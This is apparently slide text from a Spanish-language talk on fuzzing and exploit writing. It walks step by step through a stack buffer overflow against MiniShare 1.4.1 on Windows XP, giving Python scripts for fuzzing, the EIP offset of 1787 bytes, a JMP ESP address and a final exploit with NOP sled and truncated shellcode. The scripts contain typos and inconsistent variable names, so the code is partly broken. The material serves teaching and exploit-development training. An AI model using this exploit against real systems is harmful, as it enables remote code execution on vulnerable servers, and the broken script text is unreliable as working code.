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¿QUÉ ES EL FUZZING? 

• Tipo de testeo

• Prueba automatizada

• Generar patrones aleatorios

• Conseguir un comportamiento no controlado

• Software y hardware

• AFL, honggfuzz, …



¿QUÉ ES EL EXPLOITING?

• Pieza de software

• Aprovechar un fallo de seguridad

• Acción no esperada por el usuario

• Local, Remoto, Cliente…

• Ejecución de código, deshabilitar protecciones, crear usuarios…



MOTIVACIÓN



LA PILA



PREPARANDO EL ENTORNO

• WINDOWS XP SP3

• Inmunity Debugger

• Python

• Mona.py

• MiniShare 1.4.1



CÓDIGO BASE

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET /index.html“

buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()



FUZZING

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))s.connect((sys.argv[1],80))

buff="GET ”

Buff=“\x41” * 2000 #Se Envían 2000 “A” en código hexadecimal 

buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()



BÚSQUEDA DEL OFFSET (1)



BÚSQUEDA DEL OFFSET (1I)

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET ”

Buff+=“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9A
d0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0” #Se ENVIA TODO EL OFFSET GENERADO 
ANTERIORMENTE 2000 chars

buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()



BÚSQUEDA DEL OFFSET (111)



BÚSQUEDA DEL OFFSET (1V)

• Para realizar el overflow sin sobrescribir el EIP son necesarios 1787 chars



BÚSQUEDA DEL OFFSET (V)

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET ”

Buff+=“\x41” * 1787 #Se Envían 1787 “A” en código hexadecimal

Buff+=“\x42” *4 #Se sobrescribe el EIP CON 4 “B”

BUFF += “x43” * 700 #Escribimos “C” en el lugar donde saltamos

buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()



BÚSQUEDA DEL SALTO

• Observando los registros, necesitamos saltar al ESP

• JMP ESP

• Sin protecciones (en este ejemplo)

• !mona jmp –r esp � 0x7c86467b



SUSTITUIMOS EL OFFSET

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET ”

Buff+=“\x41” * 1787 #Se Envían 1787 “A” en código hexadecimal

Buff+=“\x7b\x46\x86\x7c” #Direccion del JMP ESP

BUFF+=“\x43” * 700 #Escribimos “C” en el lugar donde saltamos

buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()



GENERAMOS UNA SHELLCODE



EXPLOIT FINAL

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET ”buff="GET ”

Buff+=“\x41” * 1787 #Se Envían 1787 “A” en código hexadecimal

Buff+=“\x7b\x46\x86\x7c” #Direccion del JMP ESP

BUFF+=“\x43” * 700 #Escribimos “C” en el lugar donde saltamos

Buff+=“\x90” * 20 #NOPS

buff += "\xd9\xc6\xd9\x74\x24\xf4\xbd\x9b\x4e\xf1\xc3\x5a\x2b”[ . . . ] #SHELLCODE GENERADA (resumen)

s.send(buff)

s.close()



EJECUCIÓN DEL EXPLOIT (ANTES)



EJECUCIÓN DEL EXPLOIT



GRACIAS

¿Alguna pregunta?



REFERENCIAS

• Exploit writing tutorial part 1 : Stack Based Overflows
• https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/


